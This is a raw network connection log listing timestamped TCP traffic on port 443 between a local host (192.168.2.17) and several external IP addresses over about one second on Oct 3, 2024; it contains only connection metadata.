Oct 3, 2024 17:19:00.261310101 CEST	55795	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.261394024 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.261480093 CEST	55795	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.261775970 CEST	55795	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.261812925 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.262185097 CEST	55796	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.262221098 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.262294054 CEST	55796	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.262481928 CEST	55796	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.262497902 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.265399933 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.265479088 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.265554905 CEST	55788	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.266062975 CEST	55788	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.266104937 CEST	443	55788	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.294213057 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.294528961 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.294569969 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.295811892 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.296206951 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.296358109 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.296389103 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.308161020 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.308439016 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.308458090 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.309499025 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.309593916 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.310648918 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.310715914 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.310826063 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.310833931 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.313875914 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.313970089 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 3, 2024 17:19:00.321938038 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 3, 2024 17:19:00.321990967 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 3, 2024 17:19:00.322210073 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 3, 2024 17:19:00.322244883 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 3, 2024 17:19:00.322283030 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 3, 2024 17:19:00.329565048 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.329595089 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.329622030 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.330276012 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.330302954 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.330328941 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.346206903 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.361835957 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:00.361872911 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:00.361942053 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:00.362206936 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.362638950 CEST	55797	443	192.168.2.17	40.126.31.67
Oct 3, 2024 17:19:00.362652063 CEST	443	55797	40.126.31.67	192.168.2.17
Oct 3, 2024 17:19:00.371973038 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.372410059 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.372428894 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.373557091 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.373640060 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.374778986 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.374856949 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.374993086 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.375001907 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.379810095 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.380074978 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.380141973 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.380675077 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.380750895 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.381675959 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.381747007 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.382651091 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.382744074 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.382885933 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.382904053 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.421006918 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.421073914 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 3, 2024 17:19:00.422432899 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.422529936 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.422591925 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.423379898 CEST	55789	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.423424959 CEST	443	55789	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.425252914 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.425276995 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.429760933 CEST	55798	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.429791927 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.429900885 CEST	55798	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.430175066 CEST	55798	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.430188894 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.443367004 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.443414927 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.443466902 CEST	55792	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.443484068 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.443497896 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.443547010 CEST	55792	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.444550991 CEST	55792	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.444567919 CEST	443	55792	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.552267075 CEST	443	49690	204.79.197.200	192.168.2.17
Oct 3, 2024 17:19:00.552365065 CEST	49690	443	192.168.2.17	204.79.197.200
Oct 3, 2024 17:19:00.572092056 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.572165966 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.572186947 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.572226048 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.572227955 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.572249889 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.572271109 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.572273016 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.572299957 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.572303057 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.572303057 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.572324991 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.572365999 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.575581074 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.575608015 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.575615883 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.575660944 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.575680017 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.575692892 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.575747967 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.578897953 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.578921080 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.578967094 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.578993082 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.579027891 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.590074062 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.590143919 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.590203047 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.590219975 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.590292931 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.590344906 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.590925932 CEST	55794	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.590950012 CEST	443	55794	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.602617979 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.602673054 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.602703094 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.602720022 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.602747917 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.602771044 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.602782011 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.602875948 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.602931976 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.603044987 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.603063107 CEST	443	55791	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.603084087 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.603127956 CEST	55791	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.615128040 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.615154028 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.615241051 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.615480900 CEST	55799	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.615490913 CEST	443	55799	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.643682957 CEST	55800	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.643713951 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.643779039 CEST	55800	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.644069910 CEST	55800	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.644082069 CEST	443	55800	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.644784927 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.644850016 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.644916058 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.645529985 CEST	55802	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.645548105 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.645615101 CEST	55802	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.645853043 CEST	55801	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.645883083 CEST	443	55801	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.646071911 CEST	55802	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.646090031 CEST	443	55802	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.668890953 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.668930054 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.668971062 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.668986082 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.669028997 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.669028997 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.671123028 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.671181917 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.671227932 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.671245098 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.671271086 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:00.671303988 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:00.671320915 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.671359062 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:00.671399117 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.671431065 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.671868086 CEST	55803	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:00.671884060 CEST	443	55803	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:00.677288055 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.677423000 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.677444935 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.682830095 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.682888985 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.682905912 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.688956976 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.689021111 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.689035892 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.695242882 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.695308924 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.695331097 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.700479031 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.700520992 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.700588942 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.700793982 CEST	55804	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:00.700810909 CEST	443	55804	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:00.701548100 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.701618910 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.701637030 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.756337881 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.757138014 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.757215023 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.757275105 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.757287025 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.757338047 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.757338047 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.757721901 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.757781982 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.757790089 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.757808924 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.757858992 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.759879112 CEST	55790	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:00.759896040 CEST	443	55790	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:00.763175011 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.763427019 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.763458967 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.763494015 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.763537884 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.763608932 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.765794992 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.772021055 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.772047997 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.772080898 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.772104025 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.772171974 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.778407097 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.784018993 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:00.784044981 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:00.784125090 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:00.784461975 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:00.784476042 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:00.784552097 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.784611940 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.784615040 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.784632921 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.784684896 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.787520885 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:00.787544012 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:00.787614107 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:00.787827015 CEST	55806	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:00.787837982 CEST	443	55806	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:00.790704966 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.797173977 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.797211885 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.797245979 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.797261953 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.797336102 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.803600073 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.810343981 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.810395956 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.810522079 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.810600996 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.810672045 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.825011015 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.846483946 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.846553087 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.846596956 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.858951092 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.858993053 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.859035015 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.859107018 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.859178066 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.861584902 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.864250898 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.864294052 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.864325047 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.864342928 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.864404917 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.864430904 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.864484072 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.864499092 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.864545107 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.864588976 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.864602089 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.865370989 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.865422964 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.865427017 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.865438938 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.865479946 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.865493059 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.865623951 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.865667105 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.865679026 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.868069887 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.868124962 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.868139982 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.872314930 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.872392893 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.872437954 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.876436949 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.876512051 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.876560926 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.878736019 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.880608082 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.880671978 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.880690098 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.882982969 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.884601116 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.884660959 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.884675026 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.888364077 CEST	55795	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.888381958 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.888504028 CEST	55796	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.888524055 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.888566017 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.888616085 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.888628006 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.888699055 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.889703989 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.891345024 CEST	55796	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.891535997 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.891549110 CEST	55795	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.891617060 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.891735077 CEST	55795	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.891809940 CEST	55796	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:00.893032074 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.893098116 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.893347979 CEST	55793	443	192.168.2.17	172.217.18.14
Oct 3, 2024 17:19:00.893381119 CEST	443	55793	172.217.18.14	192.168.2.17
Oct 3, 2024 17:19:00.916001081 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:00.916035891 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:00.916090965 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:00.916413069 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:00.916428089 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:00.935422897 CEST	443	55796	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.935451984 CEST	443	55795	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:00.939908028 CEST	55809	443	192.168.2.17	13.107.5.88
Oct 3, 2024 17:19:00.939934969 CEST	443	55809	13.107.5.88	192.168.2.17
Oct 3, 2024 17:19:00.940074921 CEST	55809	443	192.168.2.17	13.107.5.88
Oct 3, 2024 17:19:00.975863934 CEST	55809	443	192.168.2.17	13.107.5.88
Oct 3, 2024 17:19:00.975895882 CEST	443	55809	13.107.5.88	192.168.2.17
Oct 3, 2024 17:19:01.050564051 CEST	443	55798	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:01.050905943 CEST	55798	443	192.168.2.17	38.180.68.202
